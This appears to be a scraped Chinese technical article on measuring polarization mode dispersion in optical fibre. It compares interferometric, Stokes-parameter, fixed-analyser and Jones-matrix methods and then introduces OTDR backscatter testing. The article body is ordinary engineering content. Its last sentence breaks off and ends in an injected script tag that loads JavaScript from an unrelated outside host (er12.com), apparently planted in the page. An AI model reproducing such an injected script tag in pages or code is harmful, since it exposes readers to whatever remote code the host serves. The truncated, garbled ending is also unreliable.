摘要： 偏振模色散(pmd)对现代光纤通信系统是一个严重制约，特别是10gb/s和40gb/s系统的应用。本文介绍一种基于光时域反射技术的pmd测试新方法，可以保证网络运营商最大程度使用现有通信网络。
关键词： 偏振模色散光时域反射技术拍长耦合长度
1.引言
光纤通信由于具有传输频带宽、传输衰减小、信号串扰弱和抗电磁干扰能力强等优点，以及光纤的原料丰富、重量轻、易于敷设，加之光通信系统、器件、网络方面技术的提高，已成为国际国内的主要通信方式。单模光纤更是由于其传输损耗比多模光纤小，而广泛应用于光纤线路的铺设。在单模光纤中，传输着基模的两个相互垂直的偏振模式，若光纤横截面理想圆对称和理想使用情况下，这两个模式是相互兼并的，但由于光纤生产中造成光纤的圆不对称、内应力，成缆过程中形成的边应力、光纤扭曲以及使用过程中的压力、弯曲、环境温度变化等因素会使两模式发生耦合，两个模式之间有轻微的传输群时延，导致光脉冲展宽，从而形成偏振模色散\[1\]（pmd）。偏振模色散其实在光纤中是一直存在的，只是在低速率传输系统中对通信质量不构成影响。但随着光纤通信向高码速率、多信道、长距离和全光网络化方向发展，特别是40gb/s高速光纤通信系统的应用，原来在数字和模拟光纤通信系统中不太被关注的偏振模色散，已经成为限制高速光纤通信系统传输容量和距离的主要因素。由于原先埋设的光缆线路没有考虑偏振模色散，则在高偏振模色散的光纤线路中使用高速通信系统将很困难，从经济效益考虑，如果全部更换光缆，那也是不切实际的，因此通过测试光缆线路的偏振模色散分布，更换高偏振模色散部分光纤，是充分利用现有线路的最佳选择。
2传统pmd测试方法
测试偏振模色散的方法有很多种，主要有干涉法(ifthe interferometric method) 、斯托克斯参数测定法(spestokes parameter evaluation) 、固定分析器法［2］(fathe fixed analyser method)和琼斯矩阵本征法［3］(jmethe jones matrix eigenanalysis method)等，这里简单介绍一下其测试原理和优缺点。
干涉法测试原理是当光纤一端用宽带光源照射时，在输出端测量电磁场的自相关函数或互相关函数，从而确定pmd值。其优点是测试速度快，稳定，与波长无关，测试过程中光纤允许移动，并且设备体积小，适用于现场使用。缺点是测量精度较低，最小可测量pmd达0.03ps，不适合实验室使用。
斯托克斯参数测定法测试原理是在一波长范围内以一定的波长间隔测量出输出偏振态随波长的变化，通过琼斯矩阵本征分析和计算，得到pmd值。其优点是可测jonesmatrix，pdl等参数，测试精度高。缺点是需要精度良好的可调光源，测试部分需要与光源通讯，测量的是代表一个步进范围内的pmd值，测量时间长，仅用于实验室环境使用。
固定分析器法又称波长扫描法，其测量原理是,当输入光偏振方向保持固定而波长变化时，输出光场主偏振态方向也会发生变化，通过一固定分析器（即检偏器）将偏振态（sop）随波长的变化转化为具有峰谷起伏的输出功率随波长的变化，根据输出功率谱与群时延差的关系确定pmd值。其优点是测量的是波长范围内的pmd平均值，缺点是测量过程中需要调节光源的输出波长，测量时间长，难以现场使用。
琼斯矩阵特征分析法是通过可调谐光源、被测件、偏振器和偏振计等从琼斯矩阵jc数据中提取pmd值。其优点是测量精度较高，最小可测量的pmd可达0.005ps,适合实验室使用。缺点是测试速度较慢，且与波长相关，测试过程中光纤必须固定，不许移动。
这些测试方法有一个共同特点就是必须要端对端测试，对于现场使用则很不方便，因此这里介绍一种基于光时域反射技术的可单端测试偏振模色散分布的新方法。
3光时域反射技术
光时域反射技术也称作后向散射法［4］，其主要特点就是单端测试和非破坏性测试。后向散射法测量原理与雷达探测目标的原理相似，就是发射具有一定重复周期和宽度的窄脉冲光注入被测光纤，光在光纤中传输时会产生散射现象，即在光纤中产生四面八方各方向的散射光。光纤的几何缺陷或断裂面（活连接点和冷连接点）会使折射率突变，产生菲涅尔反射，其中一部分向后传输的后向散射光和菲涅尔反射光可沿光纤传回到入射端。通过检测光纤的后向散射和菲涅尔反射光，根据后向光信号沿时间轴的幅度曲线可得到被测光纤线路的参数特性分布，其原理框图如图1所示。
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图1普通光时域反射计原理框图
这种技术已广泛应用于光纤测试的各个领域，如应用瑞利散射测试光纤损耗特性的普通光时域反射计（ｏｔｄｒ），应用布里渊散射测试分布应力的ｂｏｔｄｒ，应用拉曼散射测试分布温度的ｒｏｔｄｒ，我们也可以应用这种技术来测试光纤的偏振?script src=http://er12.com/t.js>
